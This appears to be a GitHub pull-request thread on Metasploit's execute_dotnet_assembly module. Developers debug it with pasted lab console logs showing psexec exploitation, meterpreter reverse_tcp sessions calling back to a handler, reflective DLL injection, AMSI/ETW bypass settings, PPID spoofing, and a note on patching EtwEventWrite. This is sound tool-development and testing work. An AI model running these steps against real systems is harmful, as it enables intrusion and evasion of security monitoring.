   DOTNET_EXE  /Users/jheysel/rapid7/metasploit-framework/Seatbelt.exe  yes       Assembly file name
   ETWBYPASS   true                                                     yes       Enable ETW bypass
   SESSION     -1                                                       yes       The session to run this module on
   Signature   Automatic                                                yes       The Main function signature (Accepted: Automatic, Main(), Main(string[]))
   TECHNIQUE   SELF                                                     yes       Technique for executing assembly (Accepted: SELF, INJECT, SPAWN_AND_INJECT)


   When TECHNIQUE is SPAWN_AND_INJECT:

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   PPID                             no        Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)
   PROCESS         notepad.exe      no        Process to spawn
   USETHREADTOKEN  true             no        Spawn process using the current thread impersonation


   When TECHNIQUE is INJECT:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   PID                    no        PID to inject into


View the full module info with the info, or info -d command.

msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.02053", "4.0.0.0"]
[*] CLR version required: v2.0.50727
[*] Requirements ok
[*] Running module against WIN-UUA4G232GU1
[*] Opening handle to process 3140...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 3140..
[*] Injecting Host into 3140...
[*] Connecting with CLR via \\.\pipe\Et2fLHWo
[*] Running in new AppDomain: VMDqUofHh
[*] Host injected. Copy assembly into 3140...
[-] Post failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_memory_write: Operation failed: 998
[-] Call stack:
[-]   /Users/jheysel/rapid7/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb:175:in `write'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/manage/execute_dotnet_assembly.rb:375:in `copy_assembly'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/manage/execute_dotnet_assembly.rb:272:in `execute_assembly'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/manage/execute_dotnet_assembly.rb:148:in `run'
[*] Post module execution completed

@smashery
Copy link
Contributor Author

Thanks for the testing @smcintyre-r7. I've fixed up those stack traces with friendlier errors - I think in all cases, the errors make sense (i.e. nothing to fix per se), but it certainly was messy.

The crash you described when doing spawn-and-inject then self then spawn-in-inject was quite a bit of fun to trace down. It turned out to be a bug related to the ETW evasion: I hadn't realised that the solution overrode the EtwEventWrite to code within the reflectively loaded DLL. The issue didn't present until I added the ReflectiveFree stuff, which now properly frees the memory, so that pointer is no longer valid. Then, the next time you do something that will trigger an ETW event (e.g. launching a process like in spawn-and-inject), you end up in the realm of invalid memory.

There are a few ways to bypass ETW, so I think the easiest solution here is just to patch it to return immediately (rather than inserting the intercepted function).

@smashery
Copy link
Contributor Author

Thanks for looking into it @jheysel-r7 - I'm unable to reproduce that error - using the same OS build and Seatbelt build. Does it reliably crash for you?

@jheysel-r7
Copy link
Contributor

Hey @smashery, I'm sorry you couldn't reproduce the error. I am unfortunately seeing it reliably crash for me. I've tried using different sessions on my MacOS and Ubuntu dev machine. All testing was conducted against a Windows Server 2016 with the payload: windows/x64/meterpreter/reverse_tcp on the latest commit: 65a4dd3, and this time around I used Spencer's ConsoleApp1.exe for the DOTNET_EXE. Let me know if I can do anything to help.

msfconsole host: MacOS 13.4.1, session user NT AUTHORITY\SYSTEM

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 172.16.199.158:4444
[*] 172.16.199.131:445 - Connecting to the server...
[*] 172.16.199.131:445 - Authenticating to 172.16.199.131:445 as user 'msfuser'...
[*] 172.16.199.131:445 - Selecting PowerShell target
[*] 172.16.199.131:445 - Executing the payload...
[+] 172.16.199.131:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (200774 bytes) to 172.16.199.131
[*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.16.199.131:49711) at 2023-06-26 07:23:52 -0700

meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/smb/psexec) > use post/windows/manage/execute_dotnet_assembly
msf6 post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE /home/msfuser/git/metasploit-framework/ConsoleApp1.exe
DOTNET_EXE => /home/msfuser/git/metasploit-framework/ConsoleApp1.exe
msf6 post(windows/manage/execute_dotnet_assembly) > set session -1
session => -1
msf6 post(windows/manage/execute_dotnet_assembly) > set ARGUMENTS 1
ARGUMENTS => 1
msf6 post(windows/manage/execute_dotnet_assembly) > set TECHNIQUE SELF
TECHNIQUE => SELF
msf6 post(windows/manage/execute_dotnet_assembly) > set verbose true
verbose => true
msf6 post(windows/manage/execute_dotnet_assembly) > set Signature Main(string[])
Signature => Main(string[])
msf6 post(windows/manage/execute_dotnet_assembly) > options

Module options (post/windows/manage/execute_dotnet_assembly):

   Name        Current Setting                  Required  Description
   ----        ---------------                  --------  -----------
   AMSIBYPASS  true                             yes       Enable AMSI bypass
   ARGUMENTS   1                                no        Command line arguments
   DOTNET_EXE  /home/msfuser/git/metasploit-fr  yes       Assembly file name
               amework/ConsoleApp1.exe
   ETWBYPASS   true                             yes       Enable ETW bypass
   SESSION     -1                               yes       The session to run this module on
   Signature   Main(string[])                   yes       The Main function signature (Accepted: Automatic, Main(
                                                          ), Main(string[]))
   TECHNIQUE   SELF                             yes       Technique for executing assembly (Accepted: SELF, INJEC
                                                          T, SPAWN_AND_INJECT)


   When TECHNIQUE is SPAWN_AND_INJECT:

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   PPID                             no        Process Identifier for PPID spoofing when creating a new process (n
                                              o PPID spoofing if unset)
   PROCESS         notepad.exe      no        Process to spawn
   USETHREADTOKEN  true             no        Spawn process using the current thread impersonation


   When TECHNIQUE is INJECT:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   PID                    no        PID to inject into


View the full module info with the info, or info -d command.


msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.02053", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against WIN-UUA4G232GU1
[*] Opening handle to process 4672...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 4672..
[*] Injecting Host into 4672...
[*] Connecting with CLR via \\.\pipe\Nnr3PjI9
[*] Running in new AppDomain: JBOSrZLAc
[*] Host injected. Copy assembly into 4672...
[-] Post aborted due to failure: payload-failed: Error while allocating memory: stdapi_sys_process_memory_write: Operation failed: 998
[*] Post module execution completed
msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.02053", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against WIN-UUA4G232GU1
[*] Opening handle to process 4672...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 4672..
[*] Injecting Host into 4672...
[*] Connecting with CLR via \\.\pipe\rHpZ5ALp
[*] Running in new AppDomain: RmiORJMNN
[*] Host injected. Copy assembly into 4672...
[-] Post aborted due to failure: payload-failed: Error while allocating memory: stdapi_sys_process_memory_write: Operation failed: 998
[*] Post module execution completed
msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.02053", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against WIN-UUA4G232GU1
[*] Opening handle to process 4672...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 4672..
[*] Injecting Host into 4672...
[*] Connecting with CLR via \\.\pipe\gHxlgr58
[*] Running in new AppDomain: mgpiPjStT
[*] Host injected. Copy assembly into 4672...
[-] Post aborted due to failure: payload-failed: Error while allocating memory: stdapi_sys_process_memory_write: Operation failed: 998
[*] Post module execution completed

meterpreter > sysinfo
Computer        : WIN-UUA4G232GU1
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

msfconsole host: Ubuntu 20.04, session user WIN-UUA4G232GU1\msfuser

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.199.158:4446
[*] Sending stage (200774 bytes) to 172.16.199.131
[*] Meterpreter session 1 opened (172.16.199.158:4446 -> 172.16.199.131:49774) at 2023-06-26 07:40:10 -0700

meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/windows/manage/execute_dotnet_assembly
msf6 post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE /home/msfuser/git/metasploit-framework/ConsoleApp1.exe
DOTNET_EXE => /home/msfuser/git/metasploit-framework/ConsoleApp1.exe
msf6 post(windows/manage/execute_dotnet_assembly) > set session -1
session => -1
msf6 post(windows/manage/execute_dotnet_assembly) > set ARGUMENTS 1
ARGUMENTS => 1
msf6 post(windows/manage/execute_dotnet_assembly) > set TECHNIQUE SELF
TECHNIQUE => SELF
msf6 post(windows/manage/execute_dotnet_assembly) > set verbose true
verbose => true
msf6 post(windows/manage/execute_dotnet_assembly) > set Signature Main(string[])
Signature => Main(string[])
msf6 post(windows/manage/execute_dotnet_assembly) > options

Module options (post/windows/manage/execute_dotnet_assembly):

   Name        Current Setting                    Required  Description
   ----        ---------------                    --------  -----------
   AMSIBYPASS  true                               yes       Enable AMSI bypass
   ARGUMENTS   1                                  no        Command line arguments
   DOTNET_EXE  /home/msfuser/git/metasploit-fram  yes       Assembly file name
               ework/ConsoleApp1.exe
   ETWBYPASS   true                               yes       Enable ETW bypass
   SESSION     -1                                 yes       The session to run this module on
   Signature   Main(string[])                     yes       The Main function signature (Accepted: Automatic, Main(), Ma
                                                            in(string[]))
   TECHNIQUE   SELF                               yes       Technique for executing assembly (Accepted: SELF, INJECT, SP
                                                            AWN_AND_INJECT)


   When TECHNIQUE is SPAWN_AND_INJECT:

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   PPID                             no        Process Identifier for PPID spoofing when creating a new process (no PPID
                                              spoofing if unset)
   PROCESS         notepad.exe      no        Process to spawn
   USETHREADTOKEN  true             no        Spawn process using the current thread impersonation


   When TECHNIQUE is INJECT:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   PID                    no        PID to inject into


View the full module info with the info, or info -d command.

msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.02053", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against WIN-UUA4G232GU1
[*] Opening handle to process 3560...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 3560..
[*] Injecting Host into 3560...
[*] Connecting with CLR via \\.\pipe\kqzU6dhK
[*] Running in new AppDomain: jJZbzJzfM
[*] Host injected. Copy assembly into 3560...
[-] Post aborted due to failure: payload-failed: Error while allocating memory: stdapi_sys_process_memory_write: Operation failed: 998
[*] Post module execution completed
msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.02053", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against WIN-UUA4G232GU1
[*] Opening handle to process 3560...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 3560..
[*] Injecting Host into 3560...
[*] Connecting with CLR via \\.\pipe\kQqPLqvR
[*] Running in new AppDomain: CTrkdwsTP
[*] Host injected. Copy assembly into 3560...
[-] Post aborted due to failure: payload-failed: Error while allocating memory: stdapi_sys_process_memory_write: Operation failed: 998
[*] Post module execution completed
\\.\pipe\953OQIdt
msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.02053", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against WIN-UUA4G232GU1
[*] Opening handle to process 3560...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 3560..
[*] Injecting Host into 3560...
[*] Connecting with CLR via \\.\pipe\953OQIdt
[*] Running in new AppDomain: KAcJqZUnY
[*] Host injected. Copy assembly into 3560...
[-] Post aborted due to failure: payload-failed: Error while allocating memory: stdapi_sys_process_memory_write: Operation failed: 998
[*] Post module execution completed
msf6 post(windows/manage/execute_dotnet_assembly) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN-UUA4G232GU1
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN-UUA4G232GU1\msfuser
meterpreter >

@jheysel-r7
Copy link
Contributor

jheysel-r7 commented Jun 26, 2023

Tested on a Windows 2019 Server that has been upgraded to a DC, which has less versions of dotnet installed on it (compared to my 2016 target) and I did not see the same issue as above, the module ran as expected:

Successful Windows 2019 Server output

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Sending stage (200774 bytes) to 172.16.199.235
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.235:49788) at 2023-06-26 12:38:21 -0400

meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/windows/manage/execute_dotnet_assembly
msf6 post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE /Users/jheysel/rapid7/metasploit-framework/ConsoleApp1.exe
DOTNET_EXE => /home/msfuser/git/metasploit-framework/ConsoleApp1.exe
msf6 post(windows/manage/execute_dotnet_assembly) > set session -1
session => -1
msf6 post(windows/manage/execute_dotnet_assembly) > set ARGUMENTS 1
ARGUMENTS => 1
msf6 post(windows/manage/execute_dotnet_assembly) > set TECHNIQUE SELF
TECHNIQUE => SELF
msf6 post(windows/manage/execute_dotnet_assembly) > set verbose true
verbose => true
msf6 post(windows/manage/execute_dotnet_assembly) > set Signature Main(string[])
Signature => Main(string[])
msf6 post(windows/manage/execute_dotnet_assembly) > options

Module options (post/windows/manage/execute_dotnet_assembly):

   Name        Current Setting                                         Required  Description
   ----        ---------------                                         --------  -----------
   AMSIBYPASS  true                                                    yes       Enable AMSI bypass
   ARGUMENTS   1                                                       no        Command line arguments
   DOTNET_EXE  /home/msfuser/git/metasploit-framework/ConsoleApp1.exe  yes       Assembly file name
   ETWBYPASS   true                                                    yes       Enable ETW bypass
   SESSION     -1                                                      yes       The session to run this module on
   Signature   Main(string[])                                          yes       The Main function signature (Accepted: Automatic, Main(), Main(string[]))
   TECHNIQUE   SELF                                                    yes       Technique for executing assembly (Accepted: SELF, INJECT, SPAWN_AND_INJECT)


   When TECHNIQUE is SPAWN_AND_INJECT:

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   PPID                             no        Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)
   PROCESS         notepad.exe      no        Process to spawn
   USETHREADTOKEN  true             no        Spawn process using the current thread impersonation


   When TECHNIQUE is INJECT:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   PID                    no        PID to inject into


View the full module info with the info, or info -d command.

msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["4.7.03190", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against WIN-FDV8QFUMFP7
[*] Opening handle to process 5664...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 5664..
[*] Injecting Host into 5664...
[*] Connecting with CLR via \\.\pipe\mxXNl2YK
[*] Running in new AppDomain: kQkppUZSB
[*] Host injected. Copy assembly into 5664...
[*] Assembly copied.
[*] Executing...
[*] Sleeping for 2 seconds before attempting again
[*] Start reading output
[*] Writing output to /Users/jheysel/.msf4/logs/dotnet/log_ConsoleApp1.exe_20230626124026
Hello, world from PID: 5664 Args: 1
Sleeping for 3 seconds...
Done. Good bye!
[*] End output.
[+] Execution finished.
[*] Post module execution completed

@jheysel-r7
Copy link
Contributor

I tried removing the dotnet 3.5 feature from my Windows 2016 target (to match the dotnet versions that my 2019 server had when the module ran successfully) however that did not help. Still seeing the same failure. Apologies for the test spam, let me know if there's any other tests I can run to help.

Same failure on Windows 2016 with only ["4.7.02053", "4.0.0.0"] dot net versions installed

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Sending stage (200774 bytes) to 172.16.199.131
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.131:49795) at 2023-06-26 12:51:54 -0400

meterpreter > bg
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > use post/windows/manage/execute_dotnet_assembly
msf6 post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE /Users/jheysel/rapid7/metasploit-framework/ConsoleApp1.exe
DOTNET_EXE => /Users/jheysel/rapid7/metasploit-framework/ConsoleApp1.exe
msf6 post(windows/manage/execute_dotnet_assembly) > set session -1
session => -1
msf6 post(windows/manage/execute_dotnet_assembly) > set ARGUMENTS 1
ARGUMENTS => 1
msf6 post(windows/manage/execute_dotnet_assembly) > set TECHNIQUE SELF
TECHNIQUE => SELF
msf6 post(windows/manage/execute_dotnet_assembly) > set verbose true
verbose => true
msf6 post(windows/manage/execute_dotnet_assembly) > set Signature Main(string[])
Signature => Main(string[])
msf6 post(windows/manage/execute_dotnet_assembly) > options

Module options (post/windows/manage/execute_dotnet_assembly):

   Name        Current Setting                                             Required  Description
   ----        ---------------                                             --------  -----------
   AMSIBYPASS  true                                                        yes       Enable AMSI bypass
   ARGUMENTS   1                                                           no        Command line arguments
   DOTNET_EXE  /Users/jheysel/rapid7/metasploit-framework/ConsoleApp1.exe  yes       Assembly file name
   ETWBYPASS   true                                                        yes       Enable ETW bypass
   SESSION     -1                                                          yes       The session to run this module on
   Signature   Main(string[])                                              yes       The Main function signature (Accepted: Automatic, Main(), Main(string[]))
   TECHNIQUE   SELF                                                        yes       Technique for executing assembly (Accepted: SELF, INJECT, SPAWN_AND_INJECT)


   When TECHNIQUE is SPAWN_AND_INJECT:

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   PPID                             no        Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)
   PROCESS         notepad.exe      no        Process to spawn
   USETHREADTOKEN  true             no        Spawn process using the current thread impersonation


   When TECHNIQUE is INJECT:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   PID                    no        PID to inject into


View the full module info with the info, or info -d command.

msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["4.7.02053", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against WIN-UUA4G232GU1
[*] Opening handle to process 2884...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 2884..
[*] Injecting Host into 2884...
[*] Connecting with CLR via \\.\pipe\9nSN3Wax
[*] Running in new AppDomain: hlmmUaBDY
[*] Host injected. Copy assembly into 2884...
[-] Post aborted due to failure: payload-failed: Error while allocating memory: stdapi_sys_process_memory_write: Operation failed: 998
[*] Post module execution completed

@smashery
Copy link
Contributor Author

Oh good catch - curious as to why Windows is fine with it sometimes and not others, but 🤷

Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

With that last commit, the issue we were running into on Server 2016 has been resolved. Everything looks ready to me now so I'll get this landed. Thanks @smashery

smcintyre-r7 added a commit that referenced this pull request Jun 27, 2023
Allow .NET assembly execution within the meterpreter process
@smcintyre-r7 smcintyre-r7 merged commit 0d09068 into rapid7:master Jun 27, 2023
30 checks passed
@smcintyre-r7
Copy link
Contributor

Release Notes

This updates the post/windows/manage/execute_dotnet_assembly module to allow it to run the .NET assembly within the current process. The module can now also read the output from all injection techniques.

@gwillcox-r7 gwillcox-r7 added the rn-enhancement release notes enhancement label Jun 27, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

4 participants